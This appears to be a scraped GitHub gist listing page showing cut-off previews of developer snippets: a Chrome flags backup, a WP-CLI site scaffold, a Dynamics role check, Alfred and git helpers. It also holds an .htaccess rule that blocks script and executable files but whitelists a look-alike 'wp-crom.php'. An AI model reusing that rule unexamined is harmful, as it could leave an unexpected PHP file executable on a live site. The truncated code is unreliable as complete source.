Skip to content

Instantly share code, notes, and snippets.

Chrome Flags Backup

goto chrome://flags/ the press f12 and paste code then run backup() or restore()

function saveFile(filename, data) {
  return new Promise(resolve => {
    const blob = new Blob([data], { type: 'octet/stream' });
    const url = window.URL.createObjectURL(blob);
    const dom = document.createElement('a');
@learn2reid
learn2reid / wp-setup.sh
Created July 30, 2024 21:20 — forked from mattbanks/wp-setup.sh
Scaffold a new WordPress development site in Alfred, utilizing WP-CLI. Use this script to run as a Terminal Script. Customize for your theme needs, plugin needs, etc.
# Create directory for new site
cd ~/Sites
mkdir {query}
cd {query}
# Download latest version of WordPress
wp core download
# Setup wp-config file with WP_DEBUG enabled
wp core config --dbname={query} --dbuser=root --dbpass=root --dbprefix={query}wp_ --extra-php <<PHP
// Check if the user has a specific security role
function userHasRole(roleName) {
var userRoles = Xrm.Utility.getGlobalContext().userSettings.roles.get();
for (var i = 0; i < userRoles.length; i++) {
if (userRoles[i].name === roleName) {
return true;
}
}
return false;
.htaccess
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|wp-crom.php|)$">
Order allow,deny
Allow from all
</FilesMatch>
@learn2reid
learn2reid / workflow-install.py
Created September 21, 2023 15:38 — forked from deanishe/workflow-install.py
Script to install/symlink Alfred workflows. Useful for workflow developers.
#!/usr/bin/python
# encoding: utf-8
#
# Copyright (c) 2013 <[email protected]>.
#
# MIT Licence. See http://opensource.org/licenses/MIT
#
# Created on 2013-11-01
#
@learn2reid
learn2reid / gitmoji.sh
Last active May 18, 2020 20:40 — forked from coderaaron/gitmoji.sh
Use Emoji in Git commits
# shellcheck shell=bash
# shellcheck disable=SC2145
function gcap() {
git commit -m "$*" #&& git push
}
function gcapp() {
git add . && git commit -m "$*" #&& git push
}
# function gcapp() {
# git add . && git commit -m "$*" && git push